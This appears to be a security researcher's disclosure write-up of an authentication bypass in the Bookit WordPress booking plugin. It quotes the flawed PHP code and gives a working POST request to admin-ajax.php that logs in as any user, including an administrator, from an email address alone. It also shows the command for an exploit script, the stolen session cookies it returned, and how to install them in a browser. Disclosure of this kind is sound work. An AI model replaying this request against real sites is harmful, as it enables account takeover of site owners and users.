The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s email address. Depending on whose email address we know, we may even be given an administrator role on the website.

 

Let’s check the plugin

The save() method in the AppointmentController class handles the appointment booking with the following code:

$data = CleanHelper::cleanData( $_POST, self::getCleanRules() );
self::validate( $data );

$customer = CustomerController::get_customer( $data );

It extracts the data from the request, cleans it, and then checks that all required parameters are present during validation.

Then the get_customer( $data ) method in the CustomerController class determines and authenticates the user with the following code:

$settings = SettingsController::get_settings();
if ( $settings['booking_type'] == 'registered' && ! is_user_logged_in() ) {
	$data['role']    = User::$customer_role;
	$data['user_id'] = Customers::save_or_get_wp_user( $data );
	/** Authorize wp User */
	wp_clear_auth_cookie();
	wp_set_current_user( $data['user_id'] );
	wp_set_auth_cookie( $data['user_id'] );
}

Then the save_or_get_wp_user( $data ) method in the Customers class determines the user with the following code:

$is_exist_user = get_user_by_email( $data['email'] );
if ( $is_exist_user ) {
	return $is_exist_user->data->ID;
}

As we can see, the user is determined based on the email without authentication.

This means that if the email address is specified in the request, the plugin logs the user in without authentication.

 

Let’s see how we can exploit this vulnerability

We only need to send a POST request to exploit this vulnerability.

The HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=bookit_book_appointment&email=info%40lana.codes&password=-&password_confirmation=-&full_name=text&nonce=38039a9e39

We can find the nonce in the bookit_window.nonces.bookit_book_appointment JavaScript object. The nonce JavaScript object is only on the page with the [bookit] shortcode.

 

The exploit script

I created a Python script that which updates the specified user’s email:

Source: stylemixthemes_bookit_plugin_vdb_get_exploit_cookie.py

How to use:

python3 stylemixthemes_bookit_plugin_vdb_get_exploit_cookie.py --website_url="http://localhost/" --email="[email protected]" --page="/bookit/"

Since the nonce JavaScript object is only on the page with the [bookit] shortcode, so we need to specify the slug for that page.

Run the above command in the Linux terminal.

We get something like this:

Response Cookies:

Name: wordpress_logged_in_760b44726ec4e18691594516f06e693f
Value: admin%7C1686892216%7CTqs7dY9527rjySppzvU7pEgaY5AX51QfDJh1TKYxjIo%7Ca31546f1932ff29cf137d07925f398558babdb5558a7e12c4fe9adff69d29466
Domain: localhost
Path: /
Expires: None
Secure: False
HttpOnly: False

Name: wordpress_760b44726ec4e18691594516f06e693f
Value: admin%7C1686892216%7CTqs7dY9527rjySppzvU7pEgaY5AX51QfDJh1TKYxjIo%7C245b328653d77b1d61da29f82018e0adee4f7da0767d334dcf92d28154147c3b
Domain: localhost
Path: /wp-admin
Expires: None
Secure: False
HttpOnly: False

Name: wordpress_760b44726ec4e18691594516f06e693f
Value: admin%7C1686892216%7CTqs7dY9527rjySppzvU7pEgaY5AX51QfDJh1TKYxjIo%7C245b328653d77b1d61da29f82018e0adee4f7da0767d334dcf92d28154147c3b
Domain: localhost
Path: /wp-content/plugins
Expires: None
Secure: False
HttpOnly: False

Then all we have to do is set the cookie using the browser’s Developer Tools on the website.